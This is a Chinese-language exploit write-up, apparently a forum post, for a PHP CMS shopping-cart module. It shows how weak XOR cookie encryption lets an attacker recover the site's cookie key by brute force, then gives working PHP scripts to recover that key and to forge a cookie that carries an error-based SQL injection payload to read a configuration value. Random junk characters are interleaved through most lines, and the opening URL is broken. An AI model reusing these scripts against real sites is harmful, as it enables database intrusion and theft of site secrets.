www.xxx.com/plus/search.php?keyword=! y1 y' h# w# P& S8 L0 Z
在 include/shopcar.class.php中) |" u' K# F9 T9 I. R- q7 T
先看一下这个shopcar类是如何生成cookie的
) d9 ~- b/ J& }239 function saveCookie($key,$value)
2 c! _9 h* g/ R" C% {; [240 {& s- ?8 V# O8 V. b0 P
241 if(is_array($value))% F6 C- c. O; p8 W% `6 l7 s
242 {
# U4 U2 c. ^* ?8 P$ E243 $value = $this->enCrypt($this->enCode($value));* Q; _% f3 c* Y8 j
244 }( D Q7 H e4 E
245 else0 X, i$ J/ z1 [- K, ^& C7 Q( R0 Q
246 {
) h$ ~0 |4 Q$ s. n# ~) H! U( U247 $value = $this->enCrypt($value);
5 A6 g* i s6 x7 |% m248 }" j: s* u* Y& k" X
249 setcookie($key,$value,time()+36000,’/');
6 O' q1 C: g; u% C: S250 }
! D: ^! Y* {. n3 T* a+ ~4 {简单的说,$key就是cookie的key,value就是value,enCode的作用是将array类型转变为a=yy&b=cc&d=know这样的类型,关键是enCrypt函数, Y+ Z! u; g# c, P, X- I
186 function enCrypt($txt), a4 q/ c0 [7 I6 P
187 {
! J C% E& X2 R5 Z188 srand((double)microtime() * 1000000);
9 x2 [- s2 O- T; e189 $encrypt_key = md5(rand(0, 32000));$ i: D! ?5 m# t' X
190 $ctr = 0;, x5 p& n6 ?0 C/ |0 g% j6 A% n8 Q
191 $tmp = ”;3 c' z- a" q1 t4 H
192 for($i = 0; $i < strlen($txt); $i++)/ @. n" l7 i: `" c* ?7 V. e+ }
193 {" I% c4 U M4 i! ^; |' {. ^3 B c" E
194 $ctr = $ctr == strlen($encrypt_key) ? 0 : $ctr;
7 k, T! ~! h# u' D195 $tmp .= $encrypt_key[$ctr].($txt[$i] ^ $encrypt_key[$ctr++]);
9 G& P9 g# w/ k5 ?196 }# C1 b2 U3 H% n7 }4 `
197 return base64_encode($this->setKey($tmp));
/ [3 v4 @, j) o2 L6 s198 }
?# |: F- a+ O T213 function setKey($txt), j( t, J; Q; M5 [
214 {
8 a5 g) E* V1 {215 global $cfg_cookie_encode;- T+ V6 B8 k0 n8 K3 ]" q: O: B- h
216 $encrypt_key = md5(strtolower($cfg_cookie_encode)); R1 N% R7 a$ X3 @$ `
217 $ctr = 0;/ A* |0 h5 u0 e. W R' [% i
218 $tmp = ”;" d4 g" S. s# a' W0 Z
219 for($i = 0; $i < strlen($txt); $i++): d* U5 O. \; e9 j/ X+ D! m
220 {% x6 @( G. O* X+ A$ n* C) w. w! l
221 $ctr = $ctr == strlen($encrypt_key) ? 0 : $ctr;# @2 e' t5 `7 p: g) S
222 $tmp .= $txt[$i] ^ $encrypt_key[$ctr++];
2 Q3 A! X/ W0 P) P u) S% f( _% F223 }$ ]: a2 G1 c0 b5 ]8 a/ A8 f
224 return $tmp;
: u4 m. v( ?; c% G7 J% \+ v225 }
) U/ y7 r, \) Z+ B8 x1 l1 BenCrypt的参数$txt 我们是可知的,返回值就是cookie的值,这个我们也是可知的; B3 y. e) l$ {% |
然后到了enCrypt调用 setKey时的参数$tmp,这个参数在某种意义上,我们也是可知的,因为$encrypt_key = md5(rand(0, 32000));只有32000种可能,我们可以推出32000种可能的$tmp,从而推出32000种可能的md5(strtolower($cfg_cookie_encode)),对了,忘记说了,我们的目的是推测出setKey中$encrypt_key的值,然后才能任意构造出购物车的cookie,从推出的32000种md5(strtolower($cfg_cookie_encode)),简单过滤掉非字母数字的key,就只剩下几百个可能的key,然后我们再从新下一次订单,然后再获取几百个可能的key,然后取交集,得到最终key。
m0 }! Y, z/ u# ?( \" E具体代码如下:/ }1 |' D" z' S5 @, v! T6 e
<?php2 i- D- u: g. A* ~7 y! Q: r
$cookie1 = “X2lRPFNlCmlWc1cvAHNXMABjAToHbVcyB3ZXJFIwA20LIAlzU2ULPARyAmQGIVU5VyJbfFVsBiYNN1dsUG0DIl90UTFTLAo3VjBXYgBvVzgAZAEqBz9XagclVzBSbw==”; // here is the first cookie,change here/ A1 g5 s$ I6 C' j9 h) a2 y" D
$cookie2 = “ADYCb1RiBmUDJghwUyAFYlIxW2BROwhtVCUIe1AyC2UOJVMpADYBNgJ0AmRUcw5iAncAJ1JrCSlQalBrAj8CIwArAmJUKwY7A2UIPVM8BWpSNltwUWkINVR2CG9QbQ==”; // here is the second cookie ,change here
5 r7 {3 C6 @0 ^7 H' n0 i& y$plantxt = “id=2&price=0&units=fun&buynum=1&title=naduohua1″; // here is the text , change here
8 p! @% N1 u# S3 ?& @6 a' z! ufunction reStrCode($code,$string)) w( b U. @' e* P
{
+ d8 J2 |& ]7 @+ l, \ ~2 J$code = base64_decode($code);4 \# X* g* ?- ?, }# `1 B* I4 j
$key = “”;
2 g" H5 o- T! U7 |) V! I, Qfor($i=0 ; $i<32 ; $i++)
C8 D! ?" E% \+ I7 G' I, @. i{0 i; X$ R: Q7 b/ k! Q
$key .= $string[$i] ^ $code[$i];
: o2 Z% F+ {2 [& J" Z}
9 S, V9 q7 S" w2 t! ^# p& yreturn $key;, u* I3 A1 @2 @: Z
}
! v7 k$ M: `6 p7 \) }! Z( C( s% lfunction getKeys($cookie,$plantxt)
5 c4 F* @7 b% Q: V{9 I8 G5 d, m4 E+ G( m
$tmp = $cookie;
* g( G% p' q" j9 i2 w& O, L( ^$results = array();
+ Y% L5 H6 P! f$ ?for($j=0 ; $j < 32000; $j++)/ o0 D1 m3 c" t7 ]
{
2 Y/ F( {. x5 D# d7 m
. y7 o9 M1 U0 y$txt = $plantxt;
8 u* N( K' F7 J% X$ctr = 0;
" [9 j8 m4 ^! q2 @8 l$tmp = ”;, i! Y6 f+ C; Z6 a/ E
$encrypt_key = md5($j);
$ p5 Z) O, _9 j9 [" nfor($i =0; $i < strlen($txt); $i ++)
) W2 z a) S) s' _2 n: J# F9 v{4 n' p+ X5 m' h) @
$ctr = $ctr == strlen($encrypt_key) ? 0 : $ctr;) n5 f% h. Q' S# w
$tmp .= $encrypt_key[$ctr].($txt[$i] ^ $encrypt_key[$ctr++]);7 }- c6 Q4 d7 w* V
}+ J" R9 J; k5 a/ W% \& u
$string = $tmp;
1 n/ m- ]# t! m! w F$code = $cookie;0 c: M- R1 I& l f6 p4 m" m% X
$result = reStrCode($code,$string);& J) }2 C% X0 k8 ~, J0 i
if(eregi(‘^[a-z0-9]+$’,$result))
/ b% ?' C0 D8 _* p- f& O{
8 n* J4 X( o k3 a @' ?echo $result.”\n”;' r) X6 W/ b o3 }7 B1 M( U6 h
$results[] = $result;
- V4 g& r/ D2 N2 W' j' v( I}
' ?8 G' B& u! f# h' I}
. G" `4 N3 f$ L" c" G7 y9 \, Creturn $results;
+ k6 N& W$ b/ j0 H}2 q; v+ U% v% T0 t. s9 N
$results1 = getKeys($cookie1,$plantxt);3 l, X& R+ Q5 k# ?" c1 q
$results2 = getKeys($cookie2,$plantxt); \( J0 [% P4 }
print “\n——————–real key————————–\n”;
' C: [/ A: v- e8 S4 Lforeach($results1 as $test1)
8 Z: J2 b' p0 T8 t$ p/ `/ Y{
0 i" p, ^5 K2 yforeach($results2 as $test2)! j$ x' y8 A3 F* _( _
{1 N; u& a0 M- y
if($test1 == $test2)& i' c1 o! P2 X0 y/ I! O
{
" f& C# X0 Y1 J$ v& q" ?echo $test1.”\n”;
7 F. d1 u5 o! F) F& v% ?2 J1 K}
4 h3 q. g# X' k' m}4 S( g, e1 ]+ B
}
0 p# H" |: t; n+ {/ H! K' @?>: d; ]1 [1 ]9 x7 r
cookie1 和 cookie2 是我下了两次订单后分别生成的cookie,
, ~% @6 l; e6 o: v G/ \plantxt可以根据页面来自己推算,大概就是这个格式:id=2&price=0&units=fun&buynum=1&title=naduohua1
: a+ `; [; W7 V3 f& o' Z" w然后推算出md5(strtolower($cfg_cookie_encode))
^& A ~9 S6 ?0 z7 d- n' N得到这个key之后,我们就可以构造任意购物车的cookie. j+ o- U+ y8 |8 L
接着看
4 h6 l) Q4 x; J* y9 _ L/ x: g20 class MemberShops
1 ]7 _8 ~% [) [+ L1 N21 {
3 p$ D9 U% u$ o, k% [, J22 var $OrdersId;
3 f+ a+ Z, M4 C, l; n9 e23 var $productsId;4 |- z" Y: \9 P2 A) F3 B6 X
24! T5 W* x- t1 [: e# Z
25 function __construct(): n& k2 c/ Q( m5 b7 {0 f
26 {
) S F* X: O/ Y, m7 ^* @! X4 J7 S$ o27 $this->OrdersId = $this->getCookie(“OrdersId”);
- I" L: m( q6 P, @28 if(empty($this->OrdersId)); p! w6 {% a& f4 B3 s% F
29 {
. R& w+ G. H, n/ v30 $this->OrdersId = $this->MakeOrders();
' ~3 ? p8 H1 b+ G31 }+ o' } \! z6 G* R( F8 p
32 }
- N0 U' ^2 k. k+ u D发现OrderId是从cookie里面获取的
7 M/ j6 l& |7 n- O然后4 M1 W2 F+ c: ]5 t9 \. S: j' b$ `
/plus/carbuyaction.php中的* l) @& B6 |* [( @' t$ @
29 $cart = new MemberShops();
; {8 Z& v) d$ M# D39 $OrdersId = $cart->OrdersId; //本次记录的订单号
/ d$ D3 q6 w$ |4 m" l……, Y4 w. x; p- b O- ?3 O
173 $rows = $dsql->GetOne(“SELECT `oid` FROM #@__shops_orders WHERE oid=’$OrdersId’ LIMIT 0,1″);
9 _! x0 F; U2 S! r$ d4 C# t接着我们就可以注入了
7 i9 W) r+ J& q7 Q通过利用下面代码生成cookie:0 M- F* ^) H1 s0 k
<?php: d& u0 |* \" F% \2 Q
$txt = “1′ or 1=@`\’` and (SELECT 1 FROM (select count(*),concat(floor(rand(0)*2),(substring((select value from #@__sysconfig where aid=3),1,62)))a from information_schema.tables group by a)b) or 1=@`\’` or ’1′=’1″;8 e* j, O' Y- U6 f. l" e
$encrypt_key = “9f09293b7419ed68448fb51d5b174834″; // here is the key, please change here
: F' |: J) {' F1 p& k1 ?function setKey($txt)
. L) s7 }$ K0 V) }/ _{/ ?: ~0 H- Q6 i) i+ J8 j7 \2 r+ Y# c
global $encrypt_key;" c$ I6 N( s/ Y
$ctr = 0;
/ \# K$ l7 h$ m# a& ~5 [9 j& Y$tmp = ”;: A; i2 z5 i. _4 h" P
for($i = 0; $i < strlen($txt); $i++)
/ E5 f% v& r4 F{1 m. A Q) G8 G5 p o3 x: ~
$ctr = $ctr == strlen($encrypt_key) ? 0 : $ctr;& X& q- H% E& J2 G
$tmp .= $txt[$i] ^ $encrypt_key[$ctr++];9 A7 x2 L$ Q9 b3 j5 G9 w0 \
}6 r% T, @9 s" D: s+ h, e$ b& g
return $tmp;+ L& l+ d5 t! P# T
}0 {# Y" O$ Z& g% I! G$ y. L* h
function enCrypt($txt)
; o1 i* @; s! p" m) F! {! ?{* c7 S. T) p( y4 R; l5 V
srand((double)microtime() * 1000000);# p+ J- r% ]& e( v( V' t: i+ t
$encrypt_key = md5(rand(0, 32000));
1 X' i3 F+ [+ R" h! D5 ~$ctr = 0;3 S$ y2 A: h6 {* L6 x
$tmp = ”;
8 h0 f0 I; w$ [/ h' r; bfor($i = 0; $i < strlen($txt); $i++): k" W/ \/ B2 t8 U4 {! D
{, N% k9 _) c( s* w
$ctr = $ctr == strlen($encrypt_key) ? 0 : $ctr;& j2 \, K5 U2 t9 k
$tmp .= $encrypt_key[$ctr].($txt[$i] ^ $encrypt_key[$ctr++]);% _+ l- q* J( ]) r! E; |) |+ Q
}
& H* O$ p! A$ h0 treturn base64_encode(setKey($tmp));
- v ? b( c& c" M$ M" N}
v2 [8 L5 j1 _( e+ tfor($dest =0;$dest = enCrypt($txt);)2 j1 R; Q$ I# N. w) L
{
. {. z) O* K! s0 _0 N4 Nif(!strpos($dest,’+'))
7 i/ ^. q: ^4 V; {7 N{6 {1 A. ^, _ Z6 F4 A% `3 z/ c+ A
break;
# C8 T; c6 B+ D6 |2 H' _% i9 }9 E}1 A3 k9 r- B% [9 l) F1 f
}
0 e+ Z6 @! l, W" u7 o$ j3 k3 Becho $dest.”\n”;
+ \& t6 ?- z6 S?>8 `; o/ A7 B3 U* B \/ y3 S
+ K* `2 l7 h3 i8 m( n( [: I |